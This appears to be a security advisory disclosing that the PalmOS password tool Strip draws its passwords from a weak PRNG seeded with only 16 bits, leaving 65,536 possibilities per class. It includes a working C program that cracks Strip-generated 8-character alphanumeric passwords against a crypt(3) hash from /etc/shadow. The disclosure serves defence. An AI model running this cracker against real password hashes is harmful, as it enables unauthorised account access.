Vulnerability

    Strip

Affected

    PalmOS using Strip

Description

    Thomas Roessler found following.  If you have ever used Strip  for
    the Palm  to generate  your passwords,  change them.   Change them
    NOW.  Strip (Secure Tool  for Recalling Important Passwords) is  a
    nice encrypted password notebook for the Palm.

    Strip-0.5 also features a function for generating passwords, which
    certainly  has  some  appeal  to  anyone  who  generates passwords
    frequently.

    However, this function has some flaws, one of which has the effect
    to limit  the number  of different  passwords strip  can create to
    2^16  per  class  (alphanumeric,  alphabetic,  numeric, ... with N
    characters).

    Generating this number of passwords  and trying each of them  with
    crypt(3)  is  a  matter  of  less  than  3 seconds on a current PC
    running Linux.

    The attached program can be  used to demonstrate this in  the case
    of alphanumeric  passwords containing  8 characters.    Just  take
    your  encrypted,  strip-generated  password  from /etc/shadow, and
    pass it as the single command line argument.  (Covering the  other
    classes of passwords strip can generate is left as an exercise.)

    - Strip  uses  the  PalmOS  SysRandom()  function to generate  the
      passwords.  SysRandom() is a very simplistic linear PRNG,  which
      should most likely not be used for password generation.
    - Strip tries to seed this PRNG with the result of  TimGetTicks().
      TimGetTicks() returns  the number  of ticks  (1 Tick  = 10ms  on
      current devices) since the last  reset of your Palm.   The ticks
      counter is not incremented when the device is turned off.

      Obviously, small  values for  the TimGetTicks()  result are much
      more likely than large values,  so an attacker could just  start
      at 0  and try  any possible  ticks value.   This kind  of attack
      would  already  be  quite  successfull  and efficient - at least
      against  any  passwords  generated  during  the  first couple of
      months of regular use of a PalmOS device after a reboot.

    - The  actual implementation  has a  bug which  finally limits the
      search space to trivial dimensions: TimeGetTicks() returns a  32
      bit integer  value, and  the PRNG  expects such  a value  as its
      seed.  However, the  return value from TimeGetTicks()  is stored
      in a 16 bit Int variable.

      Thus, the numbers 0, ...,  0xffff are the only seeds  which will
      ever be used, limiting the  number of possible passwords of  any
      class to 2^16.

    Thanks  to  Ian  Goldberg  for  posting  his (correct) take at the
    SysRandom() function to coderpunks, and to Marc Haber for  telling
    about Strip.

    /*
     * Crack passwords generate by strip ("Secure Tool for Recalling
     * Important Passwords") for the Palm; see
     * <http://www.zetetic.net/products.html> for details.
     *
     * Copyright (c) 2001 by Thomas Roessler
     * <roessler@does-not-exist.org>.
     *
     * Use, distribute and modify freely.
     *
     */

    #include <stdio.h>
    #include <stdlib.h>

    #include <string.h>
    #include <crypt.h>

    /* The PalmOS SysRandom() RNG. */

    static unsigned int multiplier = 22695477;
    static unsigned int _seed = 0;

    short palm_rand (unsigned int new_seed)
    {
      if (new_seed)
        _seed = new_seed;

      _seed = (_seed * multiplier) + 1;
      return (short)  ((_seed >> 16)  & 0x7fff);
    }

    /*
     * Strip's password generation algorithm for the alphanumeric case -
     * you can easily change this to cover the other cases as well.
     */

    static char *alphas = "abcdefhijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXY=
    Z";
    static char *numerics = "0123456789";

    char *possible_password (unsigned int seed, int size)
    {
      static char pwbuff[1024];
      char z[1024];
      int i, r;
      int valids;

      if (size > sizeof (pwbuff))
        exit (1);

      sprintf (z, "%s%s",numerics, alphas);
      valids = strlen (z);

      r = palm_rand (seed);

      for (i = 0; i < size; i++)
      {
        r = palm_rand (0);
        pwbuff[i] = z[r % valids];
      }
      pwbuff[i] = '\0';

      return pwbuff;
    }

    /* check all possible passwords */

    int main (int argc, char *argv[])
    {
      int i;
      char *pw;

      for (i = 0; i <= 0xffff; i++)
      {
        pw = possible_password ((short) i, 8);
        if (!argv[1] || !strcmp (argv[1], crypt (pw, argv[1])))
          printf ("%s\n", pw);
      }

      return 0;
    }

Solution

    Don't use Strip.  If the  Strip keyspace is so small, and  we know
    that someone somewhere must use  Strip, then we might as  well add
    the Strip  passwords to  the beginning  of our  attack, along with
    the dictionaries and whatnot.

    Whether or not an attacker _knows_ this, it does leave him with  a
    promising 64K  possibilities to  try first  - together  with fred,
    password,  secret,  etc.  It's  quite  possible  that  some  other
    password generators  have the  same flaw,  and also  populate that
    same restricted set.